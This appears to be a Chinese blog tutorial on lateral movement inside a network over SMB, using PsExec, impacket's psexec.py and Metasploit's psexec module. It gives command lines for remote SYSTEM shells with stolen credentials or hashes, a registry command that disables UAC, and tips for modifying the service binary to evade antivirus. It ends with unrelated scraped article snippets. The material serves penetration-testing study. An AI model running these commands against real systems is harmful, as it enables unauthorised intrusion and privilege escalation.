当前位置: 首页 > news >正文

【内网安全-横向移动】基于SMB协议-PsExec

目录

一、SMB协议

1、简述:

2、工具:

二、PsExec

1、简述:

2、使用:

1、常用参数:

2、情况:

3、插件

三、PsExec(impacket)

1、简述:

1、impacket:

2、PsExec-impacket

1、简述:

2、使用:

四、MSF

1、简述:

2、使用:


一、SMB协议

1、简述:

1)SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通

【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议icon-default.png?t=N176https://blog.csdn.net/qq_53079406/article/details/128328429?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167590823616800192267225%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167590823616800192267225&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-128328429-null-null.blog_rank_default&utm_term=smb&spm=1018.2226.3001.4450

——————

2)判断:445端口

——————

3)IPC$连接:走的445端口,功能即实现文件共享

【内网安全-横向移动】IPC$连接--->计划任务--->上线icon-default.png?t=N176https://blog.csdn.net/qq_53079406/article/details/128899133?spm=1001.2014.3001.5501

2、工具:

PsExec、impacket-smbexec、services等



二、PsExec

1、简述:

1)PsExec:是一种轻量级 telnet-replacement,可用于在其他系统上执行进程,为控制台应用程序提供完全交互性,而无需手动安装客户端软件

——————

2)(远程命令行工具)PsExec 最强大的用途包括对远程系统和远程启用工具(如 IpConfig)启动交互式命令提示符,否则无法显示有关远程系统的信息。

——————

3)注意:一些防病毒扫描程序报告一个或多个工具感染了“远程管理员”病毒。 PsTools 中没有含有病毒,但它们已被病毒使用,这就是为什么它们触发病毒通知的原因

——————

4)使用条件

目标开启ipc$ (该共享默认开启,依赖445端口),连接到admin$

ipc$连接需要账号密码(工作组:使用管理员、域环境:使用域用户/域管理员、域控:使用域管理员)

目标防火墙开发445端口(默认禁止连接)

杀软检测不出被病毒使用(微软自带的,在白名单里)

——————

5)官方文档

PsExec - Sysinternals | Microsoft Learnicon-default.png?t=N176https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec用法

psexec [\\computer[,computer2[,...] | @file]][-u user [-p psswd][-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c executable [-f|-v]][-w directory][-d][-<priority>][-a n,n,...] cmd [arguments]

文档中包含相关参数

2、使用:

1、常用参数:

-u            用户名,如果在域内:域\用户名
-p            密码
-accepteula   第一次运行不弹出确认框
-s            system权限运行
-i            运行该程序,以便它与远程系统上指定会话的桌面进行交互。如果没有指定会话,进程将在控制台会话中运行
(-i cmd = cmd.exe)
(账号密码 = -hashes :$HASH$)

2、情况:

情况一:未建立IPC$的情况

1、建立连接,并以管理员运行cmd.exe
.\PsExec.exe -accepteula \\*.*.*.* -u administrator -p 密码 -s cmd.exe /c "命令如whoami"

——————

情况二:已经建立IPC$的情况

1、建立正常连接
net use \\192.168.*.*\ipc$ "密码" /user:"Administrator"     2、已建立连接后
.\PsExec.exe -accepteula \\*.*.*.* -s cmd.exe /c "whoami"

3、插件

cs-psexec



三、PsExec(impacket)

1、简述:

1、impacket:

1)简述:Impack是一组用于处理网络协议的Python类的集合。Impack专注于提供对数据包的低级编程访问,并为某些协议(例如SMB1-3和MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中解析,面向对象的API使处理协议的深层层次结构变得简单。该库提供了一组工具作为示例,说明可以在该库的上下文中完成什么

——————

2)项目地址

exe版本:

maaaaz/impacket-examples-windows: The great impacket example scripts compiled for Windows (github.com)icon-default.png?t=N176https://github.com/maaaaz/impacket-examples-windows——————

py版本:

mirrors / SecureAuthCorp / impacket · GitCodeImpacket is a collection of Python classes for working with network protocols. 🚀 Github 镜像仓库 🚀 源项目地址 https://gitcode.net/mirrors/SecureAuthCorp/impacket?utm_source=csdn_github_accelerator


3)UAC(User Account Control:用户账户控制):(从Win7开始)Windows系统引入的一种新的安全机制,这是一种通知用户是否对应用程序使用硬盘和系统文件授权,从而防止恶意程序损坏系统的机制

Windows) 用户帐户控制 ( | Microsoft Learnicon-default.png?t=N176https://learn.microsoft.com/zh-cn/windows/security/identity-protection/user-account-control/user-account-control-overview界面操作:

Win10中关闭UAC方法:控制面板--->用户账户--->更改用户账户控制设置--->对话框中设置合适的等级(最低:从不通知)

——————

命令操作:

# 管理员运行cmd,输入以下命令(参数0为关闭,1为恢复默认)
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

4)RID

RID=1000+:指派给用户、计算机和组

RID=500-999:保留起来、表示在每个Windows计算机和域中

2、PsExec-impacket

1、简述:

1)相关参数

1、lget {file}                 #下载目标机器中的文件。
2、lput {src_file, dst_path}   #上传文件到目标机器。
3、-codec                      #解码命令执行的返回结果

——————

2)原理:通过smb上传一个服务程序到c:\windows(ADMIN$)目录,服务程序通过管道进行后续的命令执行的输入输出

——————

3):原版psexec.py上传会被拦截,需要绕过杀软(需要对服务程序修改尝试绕过杀软,如修改管道名称--->重新生成RemComSvc--->转成hex)

——————

4)命名:上传会随机英文字符串,使用PsExec.py提供的参数命名(防止名字容易被察觉异常


2、使用:

1、工具的准备(impacket中,服务程序位于/impacket/examples/remcomsvc.py文件中(二进制数据),需要修改其中的二进制数据绕过杀软)

1、通过IPC$(smb协议)建立连接上传服务程序到c:\windows(ADMIN$)目录(管理员权限,且防火墙端口开放)

2、打开管道,连接目标服务控制管理器SCM,创建、启动服务(serviceinstall.py进行服务安装),通过管道进行命令执行的输入输出,命令执行结束。

3、重新连接服务控制管理器,停止并删除服务、并删除服务程序



四、MSF

1、简述:

1)特点:安全漏洞检测工具、数千个软件漏洞(不断更新)


2)功能:信息收集、漏洞探测、漏洞利用等(即渗透测试的全流程


3)GitHub:

rapid7/metasploit-framework: Metasploit Framework (github.com)icon-default.png?t=N176https://github.com/rapid7/metasploit-framework


4)下载最新版本:

夜间安装程序|Metasploit文档渗透测试软件,渗透测试安全性icon-default.png?t=N176https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html

2、使用:

1)搜索相关模块

search psexec

2)使用模块

use exploit/windows/smb/psexec
(或者use +序号)

3)配置、运行

show options                #查看相关配置
set rhosts 192.168.*.*      #目标主机
set smbuser administrator   #用户名
set smbpass 111111          #密码exploit                     #运行
(会出现meterpreter >)

4)命令执行

输入shell
meterpreter >shell
(获得system权限的shell,进行相关命令执行)

相关文章:

【内网安全-横向移动】基于SMB协议-PsExec

目录 一、SMB协议 1、简述&#xff1a; 2、工具&#xff1a; 二、PsExec 1、简述&#xff1a; 2、使用&#xff1a; 1、常用参数&#xff1a; 2、情况&#xff1a; 3、插件 三、PsExec&#xff08;impacket&#xff09; 1、简述&#xff1a; 1、impacket&#xff1…...

whistle 一个神奇的前端调试工具(抓包\代理工具)

在进行前端开发过程中&#xff0c;我们常常需要对一些接口进行处理&#xff0c;以及当后端接口没有弄好需要我们mock一些假数据&#xff0c;针对这些场景&#xff0c;我们就可以使用whistle 来解决。首先&#xff0c;我们要知道能满足我们需求的工具有很多&#xff0c;例如&…...

node.js下载和vite项目创建以及可能遇到的错误

目录 一、node.js的下载 1、去官网下载 节点.js (nodejs.org) 2、下载过程 第一步&#xff1a; 第二步&#xff1a; 第三步&#xff1a; 第四步&#xff1a; 第五步: 二、vite项目的创建&#xff08;使用的工具是Hbuilder x&#xff09; 第一步&#xff1a; 出现报错…...

如何使用python画一个爱心

1 问题 如何使用python画一个爱心。 2 方法 桌面新建一个文本文档&#xff0c;文件后缀改为.py&#xff0c;输入相关代码ctrls保存&#xff0c;关闭&#xff0c;最后双击运行。 代码清单 1 from turtle import * def curvemove(): for i in range(200): right(1) …...

1 Flutter UI Container和 Text 和图片组件

一 Text 组件Text 文本组件的一些属性如下body: const Text("this is leonardo fibonacci",// 文本对齐的方式textAlign: TextAlign.center,// 文本方向textDirection: TextDirection.rtl,// 字体显示最大的行数maxLines: 2,// 文字超出屏幕之后的显示方式 ellipsi…...

【Hello Linux】 Linux基础命令(持续更新中)

作者&#xff1a;小萌新 专栏&#xff1a;Linux 作者简介&#xff1a;大二学生 希望能和大家一起进步&#xff01; 本篇博客简介&#xff1a;介绍Linux的基础命令 Linux基础命令ls指令lsls -als -dls -ils -sls -lls -nls -Fls -rls -tls -Rls -1总结思维导图pwd指令whoami指令…...

记录一下slf4j2打印一直不成功

整理一个之前的老项目问题&#xff0c;发现日志一直打印不出来&#xff0c;本地启动发现了第一个问题日志如下&#xff1a;此处可发现&#xff0c;jar包冲突问题&#xff0c;去掉冲突的jar包即可&#xff0c;此处不做过多赘述。然后发现了重新启动项目&#xff0c;发现jar包冲突…...

【安全知识】——对Linux密码文件的处理

作者名&#xff1a;白昼安全主页面链接&#xff1a; 主页传送门创作初心&#xff1a; 一切为了她座右铭&#xff1a; 不要让时代的悲哀成为你的悲哀专研方向&#xff1a; web安全&#xff0c;后渗透技术每日emo&#xff1a;他既乐观又悲观&#xff0c;生活也一无是处昨天在挖掘…...

动手深度学习笔记(四十七)8.3. 语言模型和数据集

动手深度学习笔记(四十七)8.3. 语言模型和数据集 8.3. 语言模型和数据集8.3. 语言模型和数据集 在 8.2节中, 我们了解了如何将文本数据映射为词元, 以及将这些词元可以视为一系列离散的观测,例如单词或字符。 假设长度为 T T T的文本序列中的词元依次为 x 1 , x...

URL编码和Base64编码

URL编码和Base64编码前言一、URL编码1. URLEncoder和URLDecoder2. URL编码规则3. Javascript 原生提供三对 Url编码 的函数3.1 三对函数的不同点二、Base64编码1. Base64编码规则2. Base64编码使用3. JavaScript 原生提供两个 Base64 相关的方法总结前言 数据操作过程中&#…...

Flink 滚动窗口、滑动窗口详解

1 滚动窗口(Tumbling Windows) 滚动窗口有固定的大小&#xff0c;是一种对数据进行“均匀切片”的划分方式。窗口之间没有重叠&#xff0c;也不会有间隔&#xff0c;是“首尾相接”的状态。如果我们把多个窗口的创建&#xff0c;看作一个窗口的运动&#xff0c;那就好像它在不…...

想要精通算法和SQL的成长之路 - 柱状图中最大的矩形

想要精通算法和SQL的成长之路 - 柱状图中最大的矩形前言一. 柱状图中最大的矩形前言 想要精通算法和SQL的成长之路 - 系列导航 一. 柱状图中最大的矩形 原题链接 给定 n 个非负整数&#xff0c;用来表示柱状图中各个柱子的高度。每个柱子彼此相邻&#xff0c;且宽度为 1 。求…...

网络安全实验室5.上传关

5.上传关 1.请上传一张jpg格式的图片 url&#xff1a;http://lab1.xseclab.com/upload1_a4daf6890f1166fd88f386f098b182af/ 上传一张后缀名为jpg的图片&#xff0c;上传抓包修改后缀名为别的&#xff0c;s或者直接删掉&#xff0c;放包 得到key is IKHJL9786#$%^& 2.请…...

JavaScript 严格模式(use strict)

文章目录JavaScript 严格模式(use strict)使用 "use strict" 指令严格模式声明严格模式的限制保留关键字JavaScript 严格模式(use strict) JavaScript 严格模式&#xff08;strict mode&#xff09;即在严格的条件下运行。 使用 “use strict” 指令 “use strict”…...

硬件设计—高性能ADC前端电路

高性能模数转换器&#xff08;ADC&#xff09;一般对系统的性能有非常高的要求&#xff0c;而AD芯片的“前端”的输入电路设计对ADC系统的的性能有非常大的影响。以下主要介绍了ADC芯片前端输入使用放大器和变压器各自的优势。 1、放大器和变压器根本区别 放大器是有源器件&am…...

详讲常见的字符函数

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前是C语言学习者 ✈️专栏&#xff1a;C语言航路 &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章对你有帮助的话 欢迎 评论&#x1f4ac; 点赞&a…...

for循环中异步请求问题:循环里面使用异步函数,如何等所有的异步函数都执行完再进行下一步

场景是这样的&#xff1a; 在一个列表循环里&#xff0c;对数据进行赋值&#xff0c;调用接口&#xff0c;循环外后面的代码需等待所有请求执行完成后再去执行。 1. Promise.all实现 Promise.all() 方法接收一个 promise 的 iterable 类型&#xff08;注&#xff1a;Array&am…...

【iOS-系统框架】

文章目录前言47.熟悉系统框架CoreFoundation框架其他框架要点48. 多用块枚举&#xff0c;少用for循环for循环NSEnumerator遍历快速遍历基于块的遍历方式要点49.对自定义其内存管理语义的collection使用无缝桥接要点50.构建缓存时选用NSCache而非NSDictionaryNSCacheNSCache实例…...

Android APK 签名打包原理分析(二)【Android签名原理】

说到签名,从这个词来理解,正常个人需要签名的时候,一般是用来证明这是某个人的特属认证。 大家是否有印象?还记得我们之前在学习、总结网络相关知识的时候,说到过,客户端和服务端虽然通信数据上,可以采用对称加密和非对称加密组合去进行数据的加密,但是这时还有一个问题…...

linux判断文件不存在退出jenkins编译流程

# linux判断文件不存在退出jenkins编译流程 file"${WORKSPACE}/mc/jenkins_arm64.sh" if [ ! -f "$file" ]; then echo "jenkins_arm64.sh not exist" exit 0 fi dir(charge){checkout([$class: GitSCM, branches: [[name: …...

地震勘探——干扰波识别、井中地震时距曲线特点

目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波&#xff1a;可以用来解决所提出的地质任务的波&#xff1b;干扰波&#xff1a;所有妨碍辨认、追踪有效波的其他波。 地震勘探中&#xff0c;有效波和干扰波是相对的。例如&#xff0c;在反射波…...

Linux链表操作全解析

Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表&#xff1f;1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)

HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

逻辑回归:给不确定性划界的分类大师

想象你是一名医生。面对患者的检查报告&#xff08;肿瘤大小、血液指标&#xff09;&#xff0c;你需要做出一个**决定性判断**&#xff1a;恶性还是良性&#xff1f;这种“非黑即白”的抉择&#xff0c;正是**逻辑回归&#xff08;Logistic Regression&#xff09;** 的战场&a…...

五年级数学知识边界总结思考-下册

目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解&#xff1a;由来、作用与意义**一、知识点核心内容****二、知识点的由来&#xff1a;从生活实践到数学抽象****三、知识的作用&#xff1a;解决实际问题的工具****四、学习的意义&#xff1a;培养核心素养…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

2025盘古石杯决赛【手机取证】

前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来&#xff0c;实在找不到&#xff0c;希望有大佬教一下我。 还有就会议时间&#xff0c;我感觉不是图片时间&#xff0c;因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...

DBAPI如何优雅的获取单条数据

API如何优雅的获取单条数据 案例一 对于查询类API&#xff0c;查询的是单条数据&#xff0c;比如根据主键ID查询用户信息&#xff0c;sql如下&#xff1a; select id, name, age from user where id #{id}API默认返回的数据格式是多条的&#xff0c;如下&#xff1a; {&qu…...

C++中string流知识详解和示例

一、概览与类体系 C 提供三种基于内存字符串的流&#xff0c;定义在 <sstream> 中&#xff1a; std::istringstream&#xff1a;输入流&#xff0c;从已有字符串中读取并解析。std::ostringstream&#xff1a;输出流&#xff0c;向内部缓冲区写入内容&#xff0c;最终取…...

实现弹窗随键盘上移居中

实现弹窗随键盘上移的核心思路 在Android中&#xff0c;可以通过监听键盘的显示和隐藏事件&#xff0c;动态调整弹窗的位置。关键点在于获取键盘高度&#xff0c;并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...